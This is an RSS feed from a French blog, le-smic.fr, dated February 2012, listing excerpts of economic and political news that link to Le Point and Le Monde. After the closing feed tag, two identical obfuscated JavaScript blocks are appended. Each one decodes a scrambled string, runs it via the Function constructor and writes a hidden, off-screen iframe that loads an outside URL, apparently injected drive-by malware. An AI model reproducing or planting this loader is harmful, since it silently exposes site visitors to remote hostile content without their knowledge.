<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C,</title>
	<atom:link href="http://www.le-smic.fr/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Wed, 08 Feb 2012 10:59:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>La première tour du Pentagone à la française</title>
		<link>http://www.le-smic.fr/2012/02/08/la-premiere-tour-du-pentagone-a-la-francaise/</link>
		<comments>http://www.le-smic.fr/2012/02/08/la-premiere-tour-du-pentagone-a-la-francaise/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:59:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/la-premiere-tour-du-pentagone-a-la-francaise/</guid>
		<description><![CDATA[More: La première tour du Pentagone à la française]]></description>
			<content:encoded><![CDATA[</p>
<p><img src="http://www.lepoint.fr/images/2012/02/08/496274-jpg_341336.jpg" /></p>
<p>More:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/la-premiere-tour-du-pentagone-a-la-francaise-08-02-2012-1428743_28.php" title="La première tour du Pentagone à la française">La première tour du Pentagone à la française</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/la-premiere-tour-du-pentagone-a-la-francaise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Déficits publics : critiquée par Pécresse, la Cour des comptes persiste et signe</title>
		<link>http://www.le-smic.fr/2012/02/08/deficits-publics-critiquee-par-pecresse-la-cour-des-comptes-persiste-et-signe/</link>
		<comments>http://www.le-smic.fr/2012/02/08/deficits-publics-critiquee-par-pecresse-la-cour-des-comptes-persiste-et-signe/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:41:33 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[base-pour]]></category>
		<category><![CDATA[budget-avait]]></category>
		<category><![CDATA[des-comptes]]></category>
		<category><![CDATA[dire]]></category>
		<category><![CDATA[elle-est]]></category>
		<category><![CDATA[les-chiffres]]></category>
		<category><![CDATA[sur-lesquels]]></category>
		<category><![CDATA[taient-des]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/deficits-publics-critiquee-par-pecresse-la-cour-des-comptes-persiste-et-signe/</guid>
		<description><![CDATA[La ministre du budget avait affirmé que "les chiffres de la Cour des comptes, sur lesquels elle se base pour dire qu'elle est inquiète" étaient des chiffres "anciens". ]]></description>
			<content:encoded><![CDATA[<p>La ministre du budget avait affirmé que &laquo;&nbsp;les chiffres de la Cour des comptes, sur lesquels elle se base pour dire qu&#8217;elle est inquiète&nbsp;&raquo; étaient des chiffres &laquo;&nbsp;anciens&nbsp;&raquo;. </p>
<p><img src="http://s1.lemde.fr/image/2011/09/01/87x0/1566140_7_7275_la-ministre-du-budget-valerie-pecresse_82d43dd718db43f8fefd5321800aa7b9.jpg" /></p>
<p>Read more from the original source:<br />
<a target="_blank" href="http://www.lemonde.fr/election-presidentielle-2012/article/2012/02/08/deficits-publics-critiquee-par-pecresse-la-cour-des-comptes-persiste-et-signe_1640327_1471069.html#mf_sid=477973848" title="Déficits publics : critiquée par Pécresse, la Cour des comptes persiste et signe">Déficits publics : critiquée par Pécresse, la Cour des comptes persiste et signe</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/deficits-publics-critiquee-par-pecresse-la-cour-des-comptes-persiste-et-signe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zone euro : la France entérine la création du fonds d&#8217;aide permanent</title>
		<link>http://www.le-smic.fr/2012/02/08/zone-euro-la-france-enterine-la-creation-du-fonds-daide-permanent/</link>
		<comments>http://www.le-smic.fr/2012/02/08/zone-euro-la-france-enterine-la-creation-du-fonds-daide-permanent/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:36:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[conseil-des]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/zone-euro-la-france-enterine-la-creation-du-fonds-daide-permanent/</guid>
		<description><![CDATA[Le gouvernement français a entériné, mercredi, en conseil des ministres la...]]></description>
			<content:encoded><![CDATA[<p>Le gouvernement français a entériné, mercredi, en conseil des ministres la&#8230;</p>
<p>Read the original post:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/zone-euro-la-france-enterine-la-creation-du-fonds-d-aide-permanent-08-02-2012-1428731_28.php" title="Zone euro : la France entérine la création du fonds d'aide permanent">Zone euro : la France entérine la création du fonds d&#8217;aide permanent</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/zone-euro-la-france-enterine-la-creation-du-fonds-daide-permanent/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crise : Athènes s&#8217;apprête à boucler ses laborieuses tractations sur la rigueur</title>
		<link>http://www.le-smic.fr/2012/02/08/crise-athenes-sapprete-a-boucler-ses-laborieuses-tractations-sur-la-rigueur/</link>
		<comments>http://www.le-smic.fr/2012/02/08/crise-athenes-sapprete-a-boucler-ses-laborieuses-tractations-sur-la-rigueur/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:34:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[ministre-grec]]></category>
		<category><![CDATA[plusieurs-rendez-vous]]></category>
		<category><![CDATA[Premier]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/crise-athenes-sapprete-a-boucler-ses-laborieuses-tractations-sur-la-rigueur/</guid>
		<description><![CDATA[Après plusieurs rendez-vous manqués, le Premier ministre grec, Lucas...]]></description>
			<content:encoded><![CDATA[<p>Après plusieurs rendez-vous manqués, le Premier ministre grec, Lucas&#8230;</p>
<p>See more here:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/crise-athenes-s-apprete-a-boucler-ses-laborieuses-tractations-sur-la-rigueur-08-02-2012-1428730_28.php" title="Crise : Athènes s'apprête à boucler ses laborieuses tractations sur la rigueur">Crise : Athènes s&#8217;apprête à boucler ses laborieuses tractations sur la rigueur</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/crise-athenes-sapprete-a-boucler-ses-laborieuses-tractations-sur-la-rigueur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Droit de grève dans l&#8217;aérien : Copé se montre circonspect</title>
		<link>http://www.le-smic.fr/2012/02/08/droit-de-greve-dans-laerien-cope-se-montre-circonspect/</link>
		<comments>http://www.le-smic.fr/2012/02/08/droit-de-greve-dans-laerien-cope-se-montre-circonspect/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:13:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[UMP]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/droit-de-greve-dans-laerien-cope-se-montre-circonspect/</guid>
		<description><![CDATA[Le secrétaire général de l'UMP, Jean-François Copé, a souhaité mercredi que...]]></description>
			<content:encoded><![CDATA[<p>Le secrétaire général de l&#8217;UMP, Jean-François Copé, a souhaité mercredi que&#8230;</p>
<p>More:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/droit-de-greve-dans-l-aerien-cope-se-montre-circonspect-08-02-2012-1428719_28.php" title="Droit de grève dans l'aérien : Copé se montre circonspect">Droit de grève dans l&#8217;aérien : Copé se montre circonspect</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/droit-de-greve-dans-laerien-cope-se-montre-circonspect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La taxe financière rapporterait 1,1 milliard d&#8217;euros à l&#8217;Etat</title>
		<link>http://www.le-smic.fr/2012/02/08/la-taxe-financiere-rapporterait-11-milliard-deuros-a-letat/</link>
		<comments>http://www.le-smic.fr/2012/02/08/la-taxe-financiere-rapporterait-11-milliard-deuros-a-letat/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 10:03:56 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[actions-des]]></category>
		<category><![CDATA[France]]></category>
		<category><![CDATA[social-est]]></category>
		<category><![CDATA[taxation-devrait]]></category>
		<category><![CDATA[viser-les]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/la-taxe-financiere-rapporterait-11-milliard-deuros-a-letat/</guid>
		<description><![CDATA[La taxation devrait viser les actions des sociétés cotées dont le siège social est situé en France et la capitalisation supérieure à 1 milliard d'euros. ]]></description>
			<content:encoded><![CDATA[<p>La taxation devrait viser les actions des sociétés cotées dont le siège social est situé en France et la capitalisation supérieure à 1 milliard d&#8217;euros. </p>
<p><img src="http://s2.lemde.fr/image/2011/09/27/87x0/1578264_7_d78a_le-palais-brongniart-ou-s-effectuaient_ab5f3fcacbfff5efb97338e0c742a1a8.jpg" /></p>
<p>Continue reading here:<br />
<a target="_blank" href="http://www.lemonde.fr/politique/article/2012/02/08/la-taxe-financiere-rapporterait-1-1-milliard-d-euros-a-l-etat_1640314_823448.html#mf_sid=477949603" title="La taxe financière rapporterait 1,1 milliard d'euros à l'Etat">La taxe financière rapporterait 1,1 milliard d&#8217;euros à l&#8217;Etat</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/la-taxe-financiere-rapporterait-11-milliard-deuros-a-letat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La dette publique française révisée à la hausse</title>
		<link>http://www.le-smic.fr/2012/02/08/la-dette-publique-francaise-revisee-a-la-hausse/</link>
		<comments>http://www.le-smic.fr/2012/02/08/la-dette-publique-francaise-revisee-a-la-hausse/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 09:55:00 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[dette-publique]]></category>
		<category><![CDATA[France]]></category>
		<category><![CDATA[gonflera-davantage]]></category>
		<category><![CDATA[pib]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/la-dette-publique-francaise-revisee-a-la-hausse/</guid>
		<description><![CDATA[La dette publique de la France gonflera davantage que prévu, à 89,1 % du PIB...]]></description>
			<content:encoded><![CDATA[<p>La dette publique de la France gonflera davantage que prévu, à 89,1 % du PIB&#8230;</p>
<p>See the rest here:<br />
<a target="_blank" href="http://www.lepoint.fr/economie/la-dette-publique-francaise-revisee-a-la-hausse-08-02-2012-1428709_28.php" title="La dette publique française révisée à la hausse">La dette publique française révisée à la hausse</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/la-dette-publique-francaise-revisee-a-la-hausse/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Le gouvernement révise la dette publique à la hausse pour 2012</title>
		<link>http://www.le-smic.fr/2012/02/08/le-gouvernement-revise-la-dette-publique-a-la-hausse-pour-2012/</link>
		<comments>http://www.le-smic.fr/2012/02/08/le-gouvernement-revise-la-dette-publique-a-la-hausse-pour-2012/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 09:50:54 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[ainsi-que]]></category>
		<category><![CDATA[vision-prend]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/le-gouvernement-revise-la-dette-publique-a-la-hausse-pour-2012/</guid>
		<description><![CDATA[La révision prend en compte la dégradation de la conjoncture ainsi que le versement de 6,6 milliards d'euros au Mécanisme européen de stabilité. ]]></description>
			<content:encoded><![CDATA[<p>La révision prend en compte la dégradation de la conjoncture ainsi que le versement de 6,6 milliards d&#8217;euros au Mécanisme européen de stabilité. </p>
<p><img src="http://s1.lemde.fr/image/2012/01/30/87x0/1636536_7_867f_francois-baroin-ministre-de-l-economie-et-des_6082afdd6c681849aa924a666903bd31.jpg" /></p>
<p>More:<br />
<a target="_blank" href="http://www.lemonde.fr/election-presidentielle-2012/article/2012/02/08/le-gouvernement-revise-la-dette-publique-a-la-hausse-pour-2012_1640311_1471069.html#mf_sid=477948171" title="Le gouvernement révise la dette publique à la hausse pour 2012">Le gouvernement révise la dette publique à la hausse pour 2012</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/le-gouvernement-revise-la-dette-publique-a-la-hausse-pour-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La situation du régime des intermittents du spectacle &quot;n&#8217;est pas soutenable&quot;</title>
		<link>http://www.le-smic.fr/2012/02/08/la-situation-du-regime-des-intermittents-du-spectacle-nest-pas-soutenable/</link>
		<comments>http://www.le-smic.fr/2012/02/08/la-situation-du-regime-des-intermittents-du-spectacle-nest-pas-soutenable/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 09:47:39 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[cambon]]></category>
		<category><![CDATA[renciation-entre]]></category>
		<category><![CDATA[sages]]></category>
		<category><![CDATA[une-diff]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/la-situation-du-regime-des-intermittents-du-spectacle-nest-pas-soutenable/</guid>
		<description><![CDATA[Les Sages de la rue Cambon dénoncent la pratique de la "permittence" et recommandent une différenciation entre artistes et techniciens. ]]></description>
			<content:encoded><![CDATA[<p>Les Sages de la rue Cambon dénoncent la pratique de la &laquo;&nbsp;permittence&nbsp;&raquo; et recommandent une différenciation entre artistes et techniciens. </p>
<p><img src="http://s2.lemde.fr/image/2010/03/29/87x0/1326067_7_7cd9_manifestation-d-intermittents-du-spectacle-a.jpg" /></p>
<p>Continue reading here:<br />
<a target="_blank" href="http://www.lemonde.fr/politique/article/2012/02/08/la-situation-du-regime-des-intermittents-du-spectacle-n-est-pas-soutenable_1640313_823448.html#mf_sid=477948172" title="La situation du régime des intermittents du spectacle &quot;n'est pas soutenable&quot;">La situation du régime des intermittents du spectacle &quot;n&#8217;est pas soutenable&quot;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/la-situation-du-regime-des-intermittents-du-spectacle-nest-pas-soutenable/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Cour des comptes demande à la Banque de France de surveiller ses placements et ses coûts</title>
		<link>http://www.le-smic.fr/2012/02/08/la-cour-des-comptes-demande-a-la-banque-de-france-de-surveiller-ses-placements-et-ses-couts/</link>
		<comments>http://www.le-smic.fr/2012/02/08/la-cour-des-comptes-demande-a-la-banque-de-france-de-surveiller-ses-placements-et-ses-couts/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 09:27:42 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[accomplis-pat]]></category>
		<category><![CDATA[Banque centrale]]></category>
		<category><![CDATA[duire-davantage]]></category>
		<category><![CDATA[souligne-les]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2012/02/08/la-cour-des-comptes-demande-a-la-banque-de-france-de-surveiller-ses-placements-et-ses-couts/</guid>
		<description><![CDATA[Le gouverneur de la banque centrale souligne les efforts déjà accomplis pat l'institution publique et invoque le risque de réduire davantage ses effectifs. ]]></description>
			<content:encoded><![CDATA[<p>Le gouverneur de la banque centrale souligne les efforts déjà accomplis pat l&#8217;institution publique et invoque le risque de réduire davantage ses effectifs. </p>
<p><img src="http://www.le-smic.fr/wp-content/06505a6ffb9eeccdf9d.jpg" /></p>
<p>See original here:<br />
<a target="_blank" href="http://www.lemonde.fr/economie/article/2012/02/08/la-cour-des-comptes-demande-a-la-banque-de-france-de-surveiller-ses-placements-et-ses-couts_1640285_3234.html#mf_sid=477930467" title="La Cour des comptes demande à la Banque de France de surveiller ses placements et ses coûts">La Cour des comptes demande à la Banque de France de surveiller ses placements et ses coûts</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2012/02/08/la-cour-des-comptes-demande-a-la-banque-de-france-de-surveiller-ses-placements-et-ses-couts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
